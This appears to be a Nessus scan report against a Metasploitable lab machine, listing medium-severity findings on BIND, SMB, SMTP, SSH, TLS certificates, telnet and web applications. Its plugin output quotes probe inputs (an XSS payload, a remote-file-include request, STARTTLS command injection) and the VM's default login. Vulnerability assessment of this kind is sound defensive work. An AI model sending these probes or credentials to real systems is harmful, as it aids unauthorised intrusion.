According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://kb.isc.org/docs/cve-2020-8622

Solution

Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.004

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8622
XREF	IAVA:2020-A-0385-S

Plugin Information

Published: 2020/08/27, Modified: 2021/06/03

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.22, 9.16.6, 9.17.4 or later
```

136808 - ISC BIND Denial of Service

Synopsis

The remote name server is affected by an assertion failure vulnerability.

Description

A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://kb.isc.org/docs/cve-2020-8617

Solution

Upgrade to the patched release most closely related to your current version of BIND.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.9724

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8617
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2023/03/23

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

46803 - PHP expose_php Information Disclosure

Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

See Also

https://www.0php.com/php_easter_egg.php

https://seclists.org/webappsec/2004/q4/324

Solution

In the PHP configuration file, php.ini, set the value for 'expose_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2010/06/03, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue using the following URL :

  http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-
A3A9-4C7B08C10000
```

57608 - SMB Signing not required

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

See Also

http://www.nessus.org/u?df39b8b3

http://technet.microsoft.com/en-us/library/cc731957.aspx

http://www.nessus.org/u?74b80723

https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html

http://www.nessus.org/u?a3cac4ea

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2012/01/19, Modified: 2022/10/05

Plugin Output

tcp/445/cifs

52611 - SMTP Service STARTTLS Plaintext Command Injection

Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

See Also

https://tools.ietf.org/html/rfc2487

https://www.securityfocus.com/archive/1/516901/30/0/threaded

Solution

Contact the vendor to see if an update is available.

Risk Factor

Medium

VPR Score

7.3

EPSS Score

0.0135

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	46767

CVE	CVE-2011-0411
CVE	CVE-2011-1430
CVE	CVE-2011-1431
CVE	CVE-2011-1432
CVE	CVE-2011-1506
CVE	CVE-2011-2165
XREF	CERT:555316

Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :

  STARTTLS\r\nRSET\r\n

And the server sent the following two responses :

  220 2.0.0 Ready to start TLS
  250 2.0.0 Ok
```

90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

https://tools.ietf.org/html/rfc4253#section-6.3

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256

The following weak client-to-server encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The identities known by Nessus are :

  192.168.51.101
  Epic-Metasploitable.epicode

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The identities known by Nessus are :

  192.168.51.101
  Epic-Metasploitable.epicode

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/25/smtp

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/5432/postgresql

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

58751 - SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability (BEAST)

Synopsis

It may be possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

A vulnerability exists in SSL 3.0 and TLS 1.0 that could allow information disclosure if an attacker intercepts encrypted traffic served from an affected system.

TLS 1.1, TLS 1.2, and all cipher suites that do not use CBC mode are not affected.

This plugin tries to establish an SSL/TLS remote connection using an affected SSL version and cipher suite and then solicits return data.

If returned application data is not fragmented with an empty or one-byte record, it is likely vulnerable.

OpenSSL uses empty fragments as a countermeasure unless the 'SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS' option is specified when OpenSSL is initialized.

Microsoft implemented one-byte fragments as a countermeasure, and the setting can be controlled via the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL \SendExtraRecord.

Therefore, if multiple applications use the same SSL/TLS implementation, some may be vulnerable while others may not be, depending on whether or not a countermeasure has been enabled.

Note that this plugin detects the vulnerability in the SSLv3/TLSv1 protocol implemented in the server. It does not detect the BEAST attack where it exploits the vulnerability at HTTPS client-side (i.e., Internet browser). The detection at server-side does not necessarily mean your server is vulnerable to the BEAST attack, because the attack exploits the vulnerability at the client-side, and both SSL/TLS clients and servers can independently employ the split record countermeasure.

See Also

https://www.openssl.org/~bodo/tls-cbc.txt

https://www.imperialviolet.org/2011/09/23/chromeandbeast.html

https://vnhacker.blogspot.com/2011/09/beast.html

http://www.nessus.org/u?649b81c1

http://www.nessus.org/u?84775fd6

https://blogs.msdn.microsoft.com/kaushal/2012/01/20/fixing-the-beast/

Solution

Configure SSL/TLS servers to only use TLS 1.1 or TLS 1.2 if supported.

Configure SSL/TLS servers to only support cipher suites that do not use block ciphers. Apply patches if available.

Note that additional configuration may be required after the installation of the MS12-006 security update in order to enable the split-record countermeasure. See Microsoft KB2643584 for details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

VPR Score

2.9

EPSS Score

0.0143

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

BID	49778
CVE	CVE-2011-3389
XREF	CERT:864643
XREF	MSFT:MS12-006
XREF	IAVB:2012-B-0006
XREF	CEA-ID:CEA-2019-0547

Plugin Information

Published: 2012/04/16, Modified: 2022/12/05

Plugin Output

tcp/25/smtp

```
Negotiated cipher suite: AES256-SHA|TLSv1|RSA|RSA|AES-CBC(256)|SHA1
```

42263 - Unencrypted Telnet Server

Synopsis

The remote Telnet server transmits traffic in cleartext.

Description

The remote host is running a Telnet server over an unencrypted channel.

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.

Solution

Disable the Telnet service and use SSH instead.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2009/10/27, Modified: 2024/01/16

Plugin Output

tcp/23/telnet

```
Nessus collected the following banner from the remote Telnet server :

------------------------------ snip ------------------------------
                _                       _       _ _         _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|
Warning: Never expose this VM to an untrusted network!
```

```
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:
------------------------------ snip ------------------------------
```

57640 - Web Application Information Disclosure

Synopsis

The remote web application discloses path information.

Description

At least one web application hosted on the remote web server discloses the physical path to its directories when a malformed request is sent to it.

Leaking this kind of information may help an attacker fine-tune attacks against the application and its backend.

Solution

Filter error messages containing path information.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2012/01/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The request POST /mutillidae/index.php HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Cookie: showhints=1; PHPSESSID=f381e5c4cd9e2730ef3f11cf9c852f8c
Content-Length: 68
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
do=toggle-hints&page=http://weLlFXOW.example.com/&username=anonymous

produces the following path information :
<!-- Begin Content -->
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.include<
/a>]: URL file-access is disabled in the server configuration in <b>/var
/www/mutillidae/index.php</b> on line <b>469</b><br />
<br />
```

```
<b>Warning</b>:  include(http://weLlFXOW.example.com/) [<a href='f [...]

The request GET /mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*


produces the following path information :
<!-- Begin Content -->
<br />
<b>Warning</b>:  include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;) [<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
 on line <b>469</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]

The request GET /mutillidae/index.php?page=%2500%3C%3C%3C%3C%22arfsnp%2520%3E%3E%3E HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
Referer: http://Epic-Metasploitable.epicode/mutillidae/index.php?do=toggle-hints&page=%00<<<<"arfsnp
%20>>>
Cookie: showhints [...]
```

85582 - Web Application Potentially Vulnerable to Clickjacking

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

https://en.wikipedia.org/wiki/Clickjacking

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/80/www

```
The following pages do not use a clickjacking mitigation response header and contain a clickable
 event :

  - http://Epic-Metasploitable.epicode/dvwa/login.php
  - http://Epic-Metasploitable.epicode/mutillidae/
  - http://Epic-Metasploitable.epicode/mutillidae/index.php
  - http://Epic-Metasploitable.epicode/phpMyAdmin/
  - http://Epic-Metasploitable.epicode/phpMyAdmin/index.php
  - http://Epic-Metasploitable.epicode/twiki/bin/search
  - http://Epic-Metasploitable.epicode/twiki/bin/search/Main
  - http://Epic-Metasploitable.epicode/twiki/bin/search/Main/SearchResult
  - http://Epic-Metasploitable.epicode/twiki/bin/view
  - http://Epic-Metasploitable.epicode/twiki/bin/view/Main
  - http://Epic-Metasploitable.epicode/twiki/bin/view/Main/WebHome
```

85582 - Web Application Potentially Vulnerable to Clickjacking

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

https://en.wikipedia.org/wiki/Clickjacking

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/8180/www

```
The following pages do not use a clickjacking mitigation response header and contain a clickable
 event :

  - http://Epic-Metasploitable.epicode:8180/admin/
  - http://Epic-Metasploitable.epicode:8180/admin/error.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/login.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/check.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colors.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/error/err.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/error/error.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/jsp2/el/functions.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/jsp2/el/implicit-objects.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/num/numguess.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/plugin/plugin.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/sessions/carts.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/sessions/carts.jsp
  - http://Epic-Metasploitable.epicode:8180/servlets-examples/servlet/CookieExample
  - http://Epic-Metasploitable.epicode:8180/servlets-examples/servlet/RequestParamExample
  - http://Epic-Metasploitable.epicode:8180/servlets-examples/servlet/SessionExample
```

10815 - Web Server Generic XSS

Synopsis

The remote web server is affected by a cross-site scripting vulnerability.

Description

The remote host is running a web server that fails to adequately sanitize request strings of malicious JavaScript. A remote attacker can exploit this issue, via a specially crafted request, to execute arbitrary HTML and script code in a user's browser within the security context of the affected site.

See Also

https://en.wikipedia.org/wiki/Cross-site_scripting

Solution

Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

VPR Score

3.8

EPSS Score

0.025

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	5011
BID	5305

BID	7344
BID	7353
BID	8037
BID	14473
BID	17408
BID	54344
CVE	CVE-2002-1060
CVE	CVE-2002-1700
CVE	CVE-2003-1543
CVE	CVE-2005-2453
CVE	CVE-2006-1681
CVE	CVE-2012-3382
XREF	CWE:79

